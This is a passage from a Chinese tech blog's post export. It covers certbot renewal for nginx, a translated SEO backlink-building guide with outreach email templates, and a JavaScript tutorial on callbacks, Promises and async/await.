/opt/letsencrypt/renew.sh 指令稿中 1 2 #!/bin/sh /opt/letsencrypt/certbot-auto renew --quiet --no-self-upgrade --post-hook \u0026#34;service nginx reload\u0026#34; 這裡我又加上一個 --post-hook 的設定，讓憑證更新完後，可以自動重新載入 nginx 伺服器的設定，讓憑證生效。\n接著把這個 /opt/letsencrypt/renew.sh 指令稿寫進 crontab 中\n1 2 # m h dom mon dow command 30 2 * * 0 /opt/letsencrypt/renew.sh 官方的建議是這個指令可以一天執行兩次，讓伺服器的憑證隨時保持在最新的狀態，這裡我是設定讓伺服器每週日凌晨兩點半進行憑證的檢查與更新，Certbot 只有在憑證到期前一個月才會進行更新，如果憑證尚未到期，就不會更新 ","date":"2022-08-23T00:00:00Z","image":"https://live.staticflickr.com/65535/52305205270_220313b3c4_o.png","permalink":"https://blog.wayne-project.com/2022-08-23/nginx-ssl-with-lets-encrypt/","title":"nginx 設定 ssl ＋ 自動續約 Let’s Encrypt 免費域名證書"},{"content":" 本文翻譯自：LINK BUILDING FOR SEO:The Definitive Guide (2022)\n這是一篇完整的 2022 年連結優化指南。\n因此，如果你想要取得權威網站的反向連結。\n你將會在這篇新指南中，享受本文可操作的技巧。\n讓我們往深入其中吧。\n第 1 章：連結優化基礎 在本章節，我將向你解答此問題：「什麼是連結建立？」\n同時，我也會向你展現為何連結建立，在 2022 年的今天仍然很重要。\n讓我們開始吧！\n什麼是連結建立？ 「連結建立」是一種打造單向超連結（又名反向連節），到另一個網站的方法。\n希望藉此改善網站的搜尋引擎能見度。\n常見的連結優化策略包含內容行銷、建立有用的工具、電子郵件推廣、破損連結優化與公共關係。\n為什麼連結這麼重要？ 若要理解它，你將需要跳上時光機，並重返早期網路時代的 Google 。\n在過去的日子，搜尋引擎如 Yahoo！與 Alta Vista 是主要支配者。\n他們排序搜尋結果的方式，100% 是基於網頁上的內容\n輸入：Google\n現今他們知名的 PageRank 演算法改變了這場遊戲。\nGoogle 不是單純分析網頁的內容，而是查看有多少人連結到該頁面。\n而他們是正確的。\n在接近 20 年以後，連結仍然是衡量網頁品質的最好方法。\n這就是為何 Google 仍然將反向連節視為排名的信號之一。\n此外，由於企鵝演萬法的更新，Google 現在專注在連結的品質（而非連結數量）\n你可能會疑惑：\n什麼是高品質的連結，具體是什麼？我又該如何打造他們？\n這就是我要在下一個章節涵蓋的內容。\n繼續往下看\u0026hellip;\n第 2 章：如何找到高品質的連結 在我們深入連結優化的逐步策略前，知道什麼是好（或壞）連結很重要。\n這樣，你可以專注在優化能改善 Google 排名的連結。\n因此，以下是如何辨認值得優化連結的方法：\n頁面權重 請問與你連結的那個網頁，在 PageRank 中是不是個有力人士？\n如果是的話，那將會讓你的排名擁有一個巨大的影響。\n事實上，從多年的測試中，我已經發現頁面權重的傳遞，將比任何其他因素更重要。\n這是因為來自一個權威性頁面的連結，將提供更多權重值（又被稱為 PageRank）給你的網站。\n（筆記：雖然 Google 並沒有公開分享關於 PageRank 的資訊，他們仍然將其視為演算法的基礎）\n你可以使用 Semrush ，輕易的察看 PageRank 的大約指標。\n只要在 Semrush 填入網址，並查看「Page Authority Score」數值。\n網站權重 一個連結的品質，同樣受到該網域的「網站權重」決定。\n普遍上來說，一個來自紐約時報的連結，將會比來自一個無名氣部落格的連結，產生還要大的影響力。\n雖然這些連結很難取得，但它們仍然值得爭取。\n同理，Semrush 一樣能派上用場。\n在工具中輸入網域名稱，並查看它的「Authority Score」數值。\n網站相關性 當我們提到連結，一個網站的權重很重要。\n但該網站的關聯性同樣重要。\n舉例來說，假設你經營一個關於「原始人減肥法」的網站。\n你想要從一個權威性的網站取得連結\u0026hellip;.像是單輪車，這樣的連結仍算數嗎？\n根據一位前 Googler 的訪談內容，結果顯示並非如此。\n:::info\n「從一個高 PageRank 頁面取得的連結，在過去通常很有價值。」\n「如今，演算法更注重該網站與你內容的關聯性。」\n「關聯性是新的 PageRank」\n:::\n大致上，你會想要從具權威性的網站取得連結，特別是該網站與你的內容，擁有相近的關聯。\n頁面上連結的位置 請問你的連結，是否內嵌在部分內容中嗎？\n或是埋在網頁的頁尾？\n事實證明，你的連結在頁面上的位置很重要。\n特別是埋藏在頁首與測攔的連結，並不如頁面正文區塊的連結有價值。\n網站底部呢？你會希望你的連結出現在網頁的主要區塊。\n連結是否由編輯方式放上的？ 不論你的連結是否出現在網頁，你應該詢問自己：\n「此連結是否由編輯方式放上去的？」\n換句話說，是否有人將自己網站與你的網站連結，單純是因為他們認為你的網站很讚？\n如果是的話，這就是一個編輯連結（editorial link）\n或是你在一個隨機網站創造帳戶，並在那邊放下一個自己網站的反向連結？\n這就不是編輯連結。\n如你所料，Google 更加重視編輯連結。\n:::info\n引言自 Google\n「以非編輯方式放上一個連結，或未經網站擁有人在網頁上的認證，又被稱為非自然連結。」\n「它可以被視為違反我們的搜尋指南」\n:::\n連結錨點文字 錨點文字是一個可被點擊的文字連結區塊。\n事實證明，Google 使用錨點文字作為排名訊號。\n舉例來說，你取得一個連到你網站的錨點文字：原始人甜點\nGoogle 看到該錨點文字，並說：\n恩\u0026hellip; 這個網站使用「原始人甜點」錨點文字，該連結導向的網頁一定是關於「原始人甜點」。\n當然，如同其他 SEO 技巧，關鍵字豐富的錨點文字已經被濫用。\n現今，建立一大堆準確描述的錨點文字，仍會被視為垃圾內容。\n簡短來說，我不推薦透過關鍵字豐富的錨點文字，用以建立反向連結。\n如果你是真的從錨點文字取得反向連結，還是值得慶祝。\n連結共現 「共現」是指文字與片語共同出現在你的連結上。\nGoogle 可能使用共線作為「子錨點文字」(baby anchor text)\n如果你這樣思考，就能理解：\n那些圍繞在連結上的文字，同樣提供該頁面的線索。\n既然如此，Google 又有什麼理由何不去使用呢？\n連結是否來自客作文章？ 幾年前，Google 站出來說：\n:::info\n「有件事已經無法繼續下去了：客座文章已經結束，他已經變得太過低廉」\n－Matt Cutts，前 Google 垃圾郵件團隊主管\n:::\n這是真的嗎？\n恩\u0026hellip;他取決於當下條件。\n以下這一些紅旗舉動，會使客座文章變得沒有價值。\n某人付費刊登文章 文章包含完全比對的錨點文字 該網站只為了發布客座文章單獨存在 該網站與你的網站不相關 但如果你在一個具權威性、關聯性的網站，發布一個令人驚艷的文章呢？\n在我的經驗，該連結可以幫助你爭取排名\nNofollow vs Dofollow 「rel=\u0026ldquo;nofollow\u0026rdquo;」是一個連結標籤，用來告訴搜尋引擎：不要將此連結當成一個網站背書。\n明顯地，當到了 SEO 領域，你會想要盡可能，取得一個正常「dofollow」連結。\n現在，你可以知道如何衡量連結品質，是時候開始建立他們。\n第 3 章：如何透過內容行銷，取得世界級的連結 內容是解鎖良好反向連結的關鍵，已經不是什麼秘密了。\n但這樣說好了：\n單純發布內容，並不會讓你取得任何連結。\n事實證明，特定類型的內容最適合取得反向連結。\n以下是四種內容類型，幫助你產生更多連結：\n一、視覺資產 它是什麼 視覺資產是：\n圖片 圖表 資訊圖 視覺導向的內容與圖表 它為什麼有用 視覺內容超級容易取得連結。\n舉例來說，當你發布一個圖片在你的網站，任何人在他們的網站分享此圖，當會讓你取得反向連結。\n這個強大的「當你分享我的圖片，請連結我的網站」關係，並不作用於任何文字基礎的內容。\n實際例子 幾年前我在自己的網站，發布了一個關於 Google 點擊率的圖表。\n直到現今，此圖已經被連結數十次（許多來自行銷領域的權威網站）\n確實，即使我使用表格呈現，仍可能取得這些連結。\n但這些連結的建立，有大部一部分（我預估 75%）是因為我以視覺方式呈現。\n事實上，我的許多連結，來自人們直接將我的視覺圖表，張貼到他們的網站上（並作為來源連回我的網站）。\n有趣的事，直到 2022 年的今天，每個月人們仍然連結此圖。\n這就是創造視覺圖表的強大之處。\n二、列點文章 它是什麼 一系列的方法、技術、原因、迷思或關於任何事情。\n它為什麼有用 列點文章將大量的價值，包裝成一份份可一口咬下的內容。\n事實上，當 BuzzSumo 分析一百萬篇文章時，他們發現這些列點文章，相較於其他形式的內容，產生更多反向連節。\n它勝過測驗、影片，甚至是資訊化圖表。\n實際例子 《2022 最新的 19 個 SEO 技巧》這個列表文章，是我最熱門的一個內容。\n沒錯，它產生一大堆分享\u0026hellip;\n以及留言\n但最重要的是，此貼文是一個連結磁鐵。\n它擁有超過 4,000 條連結。\n也因為此文章，擁有這麼多連結指向它，它取得關鍵字「SEO Techniques」的前 5 名。\n三、原創的研究與數據 它是什麼 從產業報告、調查或原創研究中，揭露最新數據的內容。\n它為什麼有用 研究與數據具有高度可連結性。\n當某人引用你的數據，它會與你連結，這些連結增加得非常快。\n實際例子 前些日子，我發布一篇大型 Google 排名因素調查。\n不用說，此貼文滿載了大量原始數據。\n這就是為什麼此貼文至今，可以累計 18,900 則反向連節，這個驚人的數字。\n如我上述提及，這些連結大多數來自人們引用我們的研究：\n四、深度完整的指南 它是什麼 一個關於某主題綜合性資源，其中包含所需要知道的一切事物。\n它為什麼有用 終極指南將驚人數量的資訊集中在一處，並使你的指南，成為該資源的首選。\n實際例子 我曾經從 email 收到人們詢問我，關於每日關鍵字研究的基本概念。\n很不幸地，關於這個非常重要的主題，那時在我的部落格中，並沒有任何內容。\n因此，我創造了一個：《SEO 關鍵字研究：終極指南》\n因為這個多章節的指南，涵蓋了其他網路資源沒有的內容。\n它已經被連結超過 37,700 次。\n現在，你已經創造出一些值得連結的內容，是時候打造一些連結。\n如何做？\n透過非常經典的電子郵件推廣。\n第 4 章：如何透過電子郵件推廣，打造強而有力的連結 如果你想要在 2022 年打造白帽連結，你需要使用電子郵件推廣。\n問題是：\n你的信件如何與部落客與記者們聯繫上，而非被丟進垃圾信件的資料夾中。\n閱讀本章節，找出方法。\n步驟一：找到「可能連結者」 如同名稱所述，可能連結者是一群可能會連結你網站的人。\n我將會在第 6 章，向你展項找出「可能連結者」的一大堆技巧。\n但現在，讓我們先使用簡單的策略，用來辨認出他們：反向工程。\n首先，在 Google 搜尋你的關鍵字。\n在第一頁搜尋結果頁，挑選一個網站連結，並放進連結分析工具（我使用Semrush 為例）\n接著，點擊側攔的「反向連節分析」，再點「反向連節」。\n這個網站會在下方，條列出全部的可能連結者。\n(你如何知道哪個網站值得鎖定、哪個網站要忽略？去查看第二章的內容)\n步驟二：找到他們的電子郵件地址 現在，你已經找出可能連結者，是時候挖出他們的電子郵件地址。\n:::danger\n進階技巧：僅在不得已的情況下，才去使用網站的聯繫表單，因為那一個黑洞\n:::\n以下是執行步驟：\n使用 Hunter.io\nHunter.io 非常適合用於聯繫小型網站與個人部落格。\n單純在工具中輸入網站\n接著，他將會向你展現，與該網域關聯的電子郵件地址。\n但如果你想要接觸大型網站呢？梳理這份清單將會非常痛苦。\n這就是為什麼，針對這些情境，我推薦 VoilaNorbert\nVoilaNorbert 藉由 VoilaNorvert.com ，你只要輸入某人的名字與工作的網域，就能成功運作，而不需輸入網址。\n這樣，你就能接觸到那些可能連結者，並讓他們把你網站連結，放到他們頁面上的。\n同時，它也會向你展現特定對象的電子郵件地址。\n步驟三：寄給他們一個客製化的內容 如果你想使電子郵件推廣規模化，你將會需要使用模板。\n使用模板的技巧在於，不要讓你的模板看起來像模板（下個步驟會解釋更多細節）\n但現在，以下是我執行最好的電子郵件模板之一\n:::info\n嗨（名稱）。\n我今天正尋找關於（某主題）的內容，偶然發現你的文章：（文章標題）\n我發現它的內容非常好！其中，我特別喜歡（他們文章的特定內容）。\n此外，我最近也在（你的主題）發布了一個新指南：（網址）。\n作為一位在撰寫關於（某主題）的人，我認為你也會喜歡它。\n我的指南同樣可能，成為你網頁上的一個不錯的延伸閱讀。\n不論如何，希望你繼續在（對方網站）提供精彩的作品。\n有空再聊。\n:::\n注意到這個範本，內含了許多客製化的資訊，卻不需花費許多力氣。\n第 5 章：黑帽連結優化的真實情況 如果沒有關於黑帽 SEO 的章節，任何連結優化的指南都不完整。\n黑帽連結優化非常容易被發現：\n如果取得反向連節的方法，與 Google 的網站指南違背，它大概就是黑帽。\n這就表示，你應該避免使用黑帽優化連結嗎？\n這個選擇取決於你。\n我個人不建議使用黑帽優化連結（風險與回報不成比例）。\n話雖如此，不論你是一位白帽或黑帽 SEO，你都需要知道 Google 給予黑帽的懲罰。\n因此，我們簡單統整它們：\nGoogle 企鵝 它是什麼： 一個懲罰演算法，用來針對使用垃圾連結建立權重的特定網站。\n例如，可疑的客座文章或文章留言處的垃圾訊息。\n如何避免它： 只有建立白帽連結能避免。\n有數據顯示，你可以藉由最小化完全匹克錨點文字，用以躲避企鵝演算法。\n(我說過錨點文字是另一個內容了，但它的關鍵在於信任)\n換句話說，躲避企鵝演算法最簡單的方式，就是避免使用可疑的連結（或錨點文字）\n手動懲罰與非自然連結 它是什麼： 一位來自 Google 公司員工的手動懲罰。\n它與企鵝演算法不同，Google 將會藉由 Google Search Console 寄給妳一封訊息。\n如何避免它： 除了 Google 以外，沒人知道自己的網站為什麼被手動懲罰。\n我的看法是有某個演算法，指出一個網站正在玩弄系統。\n因此，他們將網站過濾出來並做手動檢驗。\n可知，最好的避免方式是擁有一個非常乾淨的反向連結檔案。\n此外，不像企鵝演算法，你可以透過「禁止連結指向網站」與「申請重新審查」從手動懲罰中恢復。\n第 6 章：我最喜歡的 3 個連結優化策略（按步驟教學） 本章節不需要前言。\n以下是我用實戰經驗驗證，取得世界級反向連結的 3 個策略。\n資源頁面連結優化 首先，什麼是資源頁面？\n資源頁面是指在特定主題中，整合擁有良好內容的連結。\n以下是範例：\n因為這些頁面存在的原因，是將使用者導向適合的地方。\n因此，這是個絕佳的連結建立策略。\n以下是具體步驟：\n步驟 1：找到資源頁面 在 Google 使用這些搜尋字詞。\n他們是專門設計用來挖掘資源頁面：\n關鍵字 + inurl:links 關鍵字 + 「有幫助的資源」 關鍵字 + 「有用的資源」 關鍵字 + 「有用的連結」 步驟 2：檢視該頁面 以下是你需快速回答的問題：\n「來自這個網頁的連結，值得努力爭取嗎？」\n（提醒：使用第 2 章的技巧簡化此步驟）\n舉例來說，這個資源頁擁有一個體面的 URL 分數：12，還不錯。\n它同樣擁有一個具權威性的網站。\n而我的連結，最後將會在此網頁的主體區塊，如同勝利者般。\n步驟 3：找到最符合的內容 注意：\n你可能擁有是世界上最好的內容，但如果它與資源頁的主題不相搭呢？\n你將不會取得該連結。\n因此此步驟的目的，是要找出與你內容相符的資源頁面。\n依但你識別出內容，跳至第四步驟\n步驟 4：寄送此封經測試的模板 以下是我建議的模板：\n:::info\n標題：關於（對方網站）的問題\n\u0026ndash;\n嗨（名字）。\n今早，我在 Google 搜尋關於（主題）的內容時，看到你的優質資源頁：（網址）\n我只是想要跟你說：你的網頁幫了我很大的忙。\n如果沒有此網頁，我將永遠不會找到（該網站連結的資源）。\n有趣的事：我上個月剛發布了一個關於（主題）的指南，它是（簡短摘要）。\n如果你想查看該內容，以下是連結：（）\n此外，我的指南也可能是適合添加到你的網頁。\n不論如何，謝謝你將相關資源條列整理。\n祝你有個美好的一天！\n期待回復。\n（你的名字）\n:::\n:::danger\n如同所有外部接觸的模板，確保此模板盡可能客製化。\n你可以使用一個「看起來一點都不像模板」的模板。\n:::\n破損連結優化 「破損連結優化」一直是我最喜歡的優化策略。\n為什麼？\n透過破損連結優化，你可以替某人的網站提高價值，而非直接請求連結。\n以下是執行步驟：\n1. 安裝 Check My Links 或 LinkMiner 上述兩者工具，都能快速找到任何網頁的破損連結（透過你的 Chrome 瀏覽器）。\n我將會在接下幾分鐘，線你展示如何使用它們。\n2. 找到擁有許多外部連結的頁面 一個網頁越多連結，他們之中越有可能會產生破損連結。\n資源頁非常適用於此情況。\n因此，請盡情使用上文的搜尋字串，找出相應的資源頁。\n4. 查看破損連結 以下，是你執行在步驟一安裝的外掛的地方。\n它將會透漏該頁面的破損連結：\n4. 寄送郵件給該網站管理員，告知關於破損連結的事情 最後，讓經營該網頁的人，知道該頁的破損連結，並作為交換，讓對方連結你的網站。\n以下是我建議的模板：\n:::info\n標題：（對方網站名稱）的問題\n\u0026ndash;\n你好(姓名)，請問你還有再更新你的網站嗎？\n我在搜尋（主題）的內容時，發現你絕佳的網頁：（網頁標題或網址）\n然而，我發現有幾則連結是否已失效：\n（破損連結的網址）\n此外，我最近發布（簡短的內容描述）。\n它可能適合取代（指出特定的破損連結）。\n不論如何，希望這有幫助到你。\n謝謝\n（你的名字）\n:::\n摩天大樓技術 這部影片將手把手，帶你走過全部流程。\n{%youtube 263xIymvLl4 %}\n一旦你觀看完此影片，就是時候進入下一章節：\n非常棒的連結優化案例研究！\n第 7 章：驚人的案例研究 現在，是時候向你展現連結優化實際的例子。\n最棒的部分是，我之前從來沒有分享過這些內容。\n案例一 Julie 如何使用摩天大樓技巧，增加 194.1% 的自然搜尋流量 Julie Adams 的部落格：我們美麗的星球，曾經非常掙扎。\n確實，Julie　曾發布許多良好的內容，單在她的言詞中表示：不論我的內容有多棒，都沒有任何反向連結。\n這就是她決定使用「摩天大樓技術」的時機點。\n因此，她不再只是單純發布另一個良好內容，而是創造出驚人的事物。\n以下是例子：\n她使用電子郵件推廣去創立反向連結，而非單純創造好內容並等待被推廣。\n這使她取得從自然領域的權威網站，取得滿手的連結。\n這些白帽反向連結，使她自然搜尋增加了 194%。\n為何「摩天大樓技術」運作得如此良好？\n:::info\n根據 Julie 所說：\n「讓這件事如此成功的原因，在於建立反向連節就像與他人建立關係。」\n「人們在知道你的網站存在前，不會連結你的內容。」\n「此外，在你主動告訴他們以前，也不會知道你的網站存在。」\n:::\n說的非常好。\n案例二 破損連結優化的回報 去年，我決定執行破損連結優化的行銷活動。\n因此，我遵循在上一章節的流程。\n首先，我使用搜尋字串，以找出含有許多外部連結的網頁。\n接著，我使用 Check My Links 找出破損的連結。\n之後，我寄信給負責該內容的人，並表示自己有發現的破損連結存在。\n（仔細查看該信件有多麼客製化）\n收到對方的回應後，我寄給他們那些失效的連結，以及來自 Backlinko 的一大堆內容，用以進行 1:1 替換。\n而大多數的夥伴，都非常樂意增添我的連結：\n案例三 Matt 如何優化它的電子商務連結 讓我們面對一個事實：\n建立反向連結，對電商網站來說並不容易。\n但他仍有可能，就如同 Matt Lawry 一樣。\n如同多數電商網站擁有者，Matt 對於建立他電商網站的連結有麻煩（一個專注在禮物的澳洲網站）\n畢竟，有誰想要連結到一個 100% 產品導向的頁面。\n這讓 Matt 了解到，它可以使用內容為網站創造反向連結。\n具體來說，Matt 在它的網站創造一篇「摩天大樓」內容：《澳洲琴酒：終極指南》\n當然，Matt 並沒有坐下來並等待連結累積。\n他透過電子郵件，主動推廣自己的內容。\n因為 Matt 聯繫上正確的人（並寄給他們客製化的電子郵件），許多人願意提供連接給他的指南。\n這些連結都加強了 Matt 的電商網站，在搜尋結果頁想要爭取的關鍵字：澳洲琴酒。\n第 8 章：進階連結優化技巧 以下清單，是我為了挑選這幾年，一些進階連結優化的技巧。\n從「連結回收」輕鬆取得反向連結 每當有人在文章中提及你的品牌，他們都會連結你對吧？\n錯。\n我的意思指，他們「應該」連結你，但並非總是會發生。\n以下是我想表達的意思：\n但藉由輕推一把，多數網站擁有人都非常樂意，將提及你的部分轉成一個連結。\n你要如何發現些未含連結的提及呢？BuzzSumo 效果非常好。\n透過反向圖片搜尋，取得「額外」連結 請問你是否發布視覺資產（如資訊圖表、示意圖）？\n如果有，那現在可能有某些網站正使用你的圖片，卻沒有註明來源。\n不要嚇到。事實上，你應該慶祝。\n如同連結重新取得，一封友善的郵件可以將這些機會轉成連結。\n你可以使用 Google 以圖搜尋，找到那些使用你圖片，卻沒有添加連結的人們 :\n在下午寄送電子郵件 以下是我寄送上千封電子郵件後，從中學到的事情。\n在下午（收件者本地時間）寄送你的推廣電子郵件。\n為什麼？\n當你在早上寄送你的訊息，它將會被收件者，與其他 93 封訊息混在一起處理。\n但當你在下午寄送電子，收件夾就會少掉許多競爭者。\n我推薦 Gmail 內建的時間排成功能，幫你規畫推廣信發送時間。\n創造視覺化的概念、點子與策略 以下是來自 Backlinko 實際的作為：\n不管你相不相信，許多人都因為這張簡單片與我連結：\n為何它如此有效？\n恩\u0026hellip;我可以單純透過文字描述 APP 攻勢，但這將使我的內容比較不容易分享。\n另一方面，當你創造一個視覺圖像，你將會擁有部落客樂於分享的內容（並連結你的網站）。\n在結束前寄送試探郵件 你應該在第一封電子郵件推廣中，要求對方提供反向連結嗎？\n簡短回答：可能可以。\n你也可以透過兩階段流程，取得更好的結果。\n（Backlinko 讀者 Mike 發現測試郵件的成效，輾壓直接要求連結的方式）\n這個方法的另一個好處，可以減少你花費的時間。\n與其花費時間，客製化一封沒人閱讀的訊息，先寄送簡短試探郵件更好。\n之後，再針對你下一則訊息進行客製化。\n獲得 Podcast 的訪談 沒錯，客座文章有他的重要地位存在\n但有一個大問題：它需要花費很多時間撰寫！\n進入　Podcast　的世界。\n與其花費時間撰寫大綱、擬草稿、修改客座文章，不如單純出現在 Podcast 節目，並談論你所知道的內容。\n蹦！你就取得了反向連結。\n最好的地方是什麼？\n每個領域都有 Podcast 節目。\n以下反向連節，就是我出現在 Podcast 後建立的。\n使用「連結交集」找出可能連結者 如果某人連結給你的競爭者，他們可能也會提供連結給你對吧？\n沒錯。\n如果某人連結你的 2 位競爭者，他甚至更有可能提供連結給你。\n你如何找到這些，連結超過 1 位以上競爭者的網站。\nSemrush Backlink Gap tool 只要列出 2 到 3 位你最大的網站競爭者。\n這個絕佳的工具，將會向你顯示哪些人與他們連結。\n使用「預先策畫」的連結目標清單 不能否認：找到高品質的反向連結非常困難。\n這是個壞消息。\n好消息是，有些人已經為你預先策畫好，這些高品質的網站\u0026hellip;\n\u0026hellip;以「最佳部落格」清單的形式。\n以下是範例：\n更不用說，如果你再經營一個烘焙部落格，每一個網站清單的頁面，都將會是一個反向連結的好機會。\n你可以透過以下搜尋字詞，找到這些清單：\n最好的「主題」部落格 「主題」部落格清單。 結論 以上這就是我的 2022 連結優化指南。\n從今天的指南中，你最想要優先嘗試哪個策略呢？或你對於某件事有疑問。\n不論如何，在底下留言讓我知道。\n","date":"2022-08-17T00:00:00Z","image":"https://live.staticflickr.com/65535/52290179402_693c7086dc_o.jpg","permalink":"https://blog.wayne-project.com/2022-08-17/seo-backlinks-building-guide/","title":"SEO 反向連結建立：終極指南(2022)"},{"content":" 參考彭彭 - 回呼函式 Callbacks、Promises 物件、Async/Await 非同步流程控制\n前言 Javascript 的主要特點有兩個：\nSingle Thread (單線程) Synchronous (同步) 當主程式中遇到「非同步」的函式如排程、取資料、讀檔\u0026hellip;等相關的函式時(如：setTimeout、fetch\u0026hellip;等)，主程式並不會停止並等待函式執行完成後才繼續往下跑，而是會將其放到 queue 中直到所有程式碼都跑完了，Javascript 會再回頭到 queue 中按順序將 function 拉回來處理。\n1 2 3 4 5 console.log(\u0026#34;程式開始\u0026#34;); setTimeout(() =\u0026gt; { console.log(\u0026#34;非同步事件\u0026#34;); }, 0) console.log(\u0026#34;程式結束\u0026#34;); 程式開始\n程式結束\n非同步事件 \u0026lt;- 最後執行\n上段的原始碼中，setTimeout 所定義的時間為 0，但因為是屬於非同步事件，因此還是會在其他原始碼運行完以後才執行，在 Ajax 的行為中也是一樣，當需要確保擷取到遠端資料才繼續往下執行時，如果程式碼是依序撰寫的方式，就會無法正確呈現資料，以下舉個例子示範。\n舉例 以下為例，此為一個很基本的回傳n1+n2的結果的函式。\n1 2 3 4 5 6 7 8 9 function add(n1, n2) { return n1+n2; } function test() { let result = add(3, 4); console.log(result) } test(); 1 \u0026gt; 7 但若今天需求需要延遲兩秒再將結果打印出來時。\n1 2 3 4 5 6 7 8 9 10 11 function delayedAdd(n1, n2, delayTime) { window.setTimeout(function() { return n1+n2; }, delayTime); } function test() { let result = delayedAdd(3, 4, 2000); console.log(result); } test(); 1 \u0026gt; undefined 此時會發現打印出來的 result 因為 delayedAdd 還未將結果回傳，導致直接顯示 undefined，此時就需要來解決這種非同步流程的控制。\n方法1：Callbacks 回呼函式 最早期使用的方式，於函式最後設定callback，執行需要做的事情。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // Callback 回呼函式 function delayedAdd(n1, n2, delayTime, callback) { // 設定排程，延遲一段時間後執行 window.setTimeout(function() { // 延遲一段時間之後，計算加法，呼叫 callback 函式 callback(n1+n2); }, delayTime); } function test() { delayedAdd(3, 4, 2000, function(result) { console.log(result); }); } test(); 1 \u0026gt; 7 方法2：Promise 物件 近期於ES6提出的新方式。 建立 promise 物件：new Promise(執行函式) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function delayedAdd(n1, n2, delayTime) { // 建立 Promise，使用resolve或reject回傳 let p = new Promise(function(resolve, reject) { window.setTimeout(function() { resolve(n1+n2); // 呼叫resolve將結果回傳 }, delayTime); }); return p; } function test() { let promise = delayedAdd(3, 4, 2000); promise.then(function(result){ console.log(result); }); } test(); 1 \u0026gt; 7 常見寫法，直接 return promise 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function delayedAdd(n1, n2, delayTime) { // 建立 Promise，使用resolve或reject回傳 return new Promise(function(resolve, reject) { window.setTimeout(function() { resolve(n1+n2); // 呼叫resolve將結果回傳 }, delayTime); }); } function test() { let promise = delayedAdd(3, 4, 2000); promise.then(function(result){ console.log(result); }); } test(); 1 \u0026gt; 7 new Promise(resolve, reject) 的 resolve 與 reject 為 Promise 原生提供，可自行改名但順序不可異動。 resolve 對應.then()且代表成功，而 reject 則對應到 .catch()且代表失敗。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function delayedAdd(n1, n2, delayTime) { // 建立 Promise，使用resolve或reject回傳 return new Promise(function(resolve, reject) { window.setTimeout(function() { reject(n1+n2); // 若使用reject，則需使用.catch }, delayTime); }); } function test() { let promise = delayedAdd(3, 4, 2000); // 因使用 reject 回傳，這裡使用 .catch 來接 promise.catch(function(error){ console.log(error); }); } test(); 1 \u0026gt; 7 方法3：Async/Await ，Promise 的語法糖 Promise的語法糖，以便於更直觀的閱讀與撰寫非同步流程，同 Promise 於ES6提出的新玩意兒。 注意：await 的函式必須要確保有Promise，否則將報錯。 需先宣告為 async 函式，才能使用 await。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 function delayedAdd(n1, n2, delayTime) { // 建立 Promise，使用resolve或reject回傳 return new Promise(function(resolve, reject) { window.setTimeout(function() { resolve(n1+n2); // 若使用reject，則需使用.catch }, delayTime); }); } // 需先宣告為 async 函式，才可使用 await async function test() { let result = await delayedAdd(3, 4, 2000); console.log(result); } test(); 1 \u0026gt; 7 注意：使用 await 時，主程式會確實停止，等待 await 函式執行完成後，才接續往下跑，舉例： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function delayedAdd(n1, n2, delayTime) { // 建立 Promise，使用resolve或reject回傳 return new Promise(function(resolve, reject) { window.setTimeout(function() { resolve(n1+n2); // 若使用reject，則需使用.catch }, delayTime); }); } // 需先宣告為 async 函式，才可使用 await async function test() { let result = await delayedAdd(3, 4, 2000); console.log(result); console.log(\u0026#34;Hello\u0026#34;); } test(); 1 2 \u0026gt; 7 \u0026gt; Hello 延伸一：多個 Promise 的資料處理：Promise.all() 若遇到多個 Promise，且需將各個 Promise 的結果進行運算時，可使用 Promise.all() 來處理。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function delayedAdd(n1, n2, delayTime) { // 建立 Promise，使用resolve或reject回傳 return new Promise(function(resolve, reject) { window.setTimeout(function() { resolve(n1+n2); // 呼叫resolve將結果回傳 }, delayTime); }); } function test() { let promise1 = delayedAdd(3, 4, 2000); let promise2 = delayedAdd(2, 3, 3000); // 多個 Promise 都完成之後，將其數值相乘 Promise.all([promise1, promise2]).then(function(results){ // 此時 results 為一個陣列 \u0026gt; [7, 5]; let answer = results.reduce(function(total, value) { return total * value; }) console.log(answer); }); } test(); 1 \u0026gt; 35 延伸二：多個 Promise 使用 Async/Await 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function delayedAdd(n1, n2, delayTime) { // 建立 Promise，使用resolve或reject回傳 return new Promise(function(resolve, reject) { window.setTimeout(function() { resolve(n1+n2); // 呼叫resolve將結果回傳 }, delayTime); }); } function test() { let result1 = await delayedAdd(3, 4, 2000); let result2 = await delayedAdd(2, 3, 3000); let answer = result1 * result2; console.log(answer); } test(); 1 \u0026gt; 35 ","date":"2022-08-13T00:00:00Z","image":"https://live.staticflickr.com/65535/52282531224_1f57c841ee_o.jpg","permalink":"https://blog.wayne-project.com/2022-08-13/js-async-programs/","title":"【Callback、Promise、Async/Await】處理非同步事件"},{"content":" 本文參考網址\n什麼是 async？什麼是 await？ 在 JavaScript 的世界，同步 sync 和非同步 async 的愛恨情仇，就如同偶像劇一般的剪不斷理還亂，特別像是setTimeout、setInterval、MLHttpRequest或fetch這些同步非同步混雜的用法，都會讓人一個頭兩個大，幸好 ES6 出現了 promise，ES7 出現了 async、await，幫助我們可以更容易的進行程式邏輯的撰寫。\n對於同步和非同步，最常見的說法是「同步模式下，每個任務必須按照順序執行，後面的任務必須等待前面的任務執行完成，非同步模式則相反，後面的任務不用等前面的，各自執行各自的任務」，但我覺得這樣實在不容易理解，不容易理解的地方在於「中文」的同步和非同步，可能和實際上的解釋剛好相反了 ( 同步的中文字面意思是「一起走」，非同步的中文意思是「不要一起走」，超容易搞錯的 )，因此如果你跟我一樣也很容易搞錯，可以使用我覺得比較好理解的方法：「同一個步道 vs 不同步道」，透過步道的方式，就更容易明白同步和非同步。\n同步：在「同一個步道」比賽「接力賽跑」，當棒子沒有交給我，我就得等你，不能跑。\n非同步：在「不 ( 非 ) 同步道」比賽「賽跑」，誰都不等誰，只要輪到我跑，我就開始跑。\n在 ES7 裡頭 async 的本質是 promise 的語法糖 ( 包裝得甜甜的比較好吃下肚 )，只要 function 標記為 async，就表示裡頭可以撰寫 await 的同步語法，而 await 顧名思義就是「等待」，它會確保一個 promise 物件都解決 